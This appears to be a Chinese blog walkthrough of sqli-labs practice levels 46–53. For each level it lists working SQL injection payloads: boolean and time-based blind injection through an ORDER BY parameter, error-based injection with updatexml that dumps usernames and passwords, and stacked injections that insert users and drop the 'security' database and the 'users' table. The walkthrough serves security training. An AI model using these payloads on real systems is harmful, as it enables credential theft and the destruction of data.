sqli-labs靶场46-53关(综合)

目录

less46(数字型rand布尔盲注)

less47(报错注入)

less48(数字型时间盲注)

less49(单引号时间盲注)

less50(整数堆叠)

less51(单引号堆叠)

less52(整数堆叠)

less53(单引号堆叠)



less46(数字型rand布尔盲注)

通过get传参sort

发现1,则按第一列排序

2,则按第二列排序

3,则按第三列排序

所以其实就是一个order by语句的作用

利用order by rand()注入,即sort=rand()

sort=rand(1),当布尔值为真时,页面返回:

sort=rand(0),当布尔值为假时,页面返回:

利用这个特性,利用布尔盲注:

?sort=rand(length(database())=8)------爆数据库名长度

发现当参数为8时,返回页面和rand(1)一样,即布尔值为1,所以数据库名长度为8

?sort=rand(substr((select database()),1,1)='s')------爆数据库名

?sort=rand(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='e')------爆表名

?sort=rand(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit0,1),1,1)='i')------爆字段名

?sort=rand(substr((select password from security.users limit0,1),1,1)='1')------爆数据



less47(报错注入)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用报错信息,做报错注入:

?sort=1' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+------爆数据库:

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+------爆表名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+------爆字段名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+------爆数据



less48(数字型时间盲注)

这关是数字型,和less46类似。但是这关没有报错信息,只能盲注 。

可以直接用less46关的rand布尔盲注,也可以使用时间盲注。这关演示时间盲注:

?sort=1 and if((length(database())=8),sleep(5),1)--+------爆数据库名长度

?sort=1 and if((substr((select database()),1,1)='s'),sleep(5),1)--+------爆数据库

?sort=1 and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆表

?sort=1 and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆字段

?sort=1 and if((substr((select password from security.users limit 0,1),1,1)='1'),sleep(5),1)--+------爆数据



less49(单引号时间盲注)

这关和less47类似,都是单引号闭合,但是这关没有报错信息,不能使用报错注入,只能使用时间盲注。

?sort=1' and if(length(database())=8,sleep(5),1)--+------爆数据库名长度

?sort=1' and if(substr((select database()),1,1)='s',sleep(5),1)--+------爆数据库

?sort=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+------爆表

?sort=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)--+------爆字段名

?sort=1' and if(substr((select password from security.users limit 0,1),1,1)='1',sleep(5),1)--+------爆数据



less50(整数堆叠)

这关爆库方法和less46一模一样,不做赘述,这里考察的是堆叠注入。

首先判断好闭合类型------数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less51(单引号堆叠)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



less52(整数堆叠)

尝试各种闭合均不行,初步判断为数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less53(单引号堆叠)

?sort=1'报错

?sort=1'--+正常回显------判断为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



相关推荐
倔强的石头_1 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
冬奇Lab2 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence2 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle
无响应de神2 天前
三、用户与权限管理
数据库·mysql
麦聪聊数据3 天前
数据服务化时代:企业数据能力输出的核心路径
数据库
shushangyun_3 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
DARLING Zero two♡3 天前
【MySQL数据库】数据类型与表约束
数据库·mysql
曹牧3 天前
Oracle EXPLAIN PLAN
数据库·oracle
BD_Marathon3 天前
SQL学习指南——视图
数据库·sql
活宝小娜3 天前
mysql详细安装教程
数据库·mysql·adb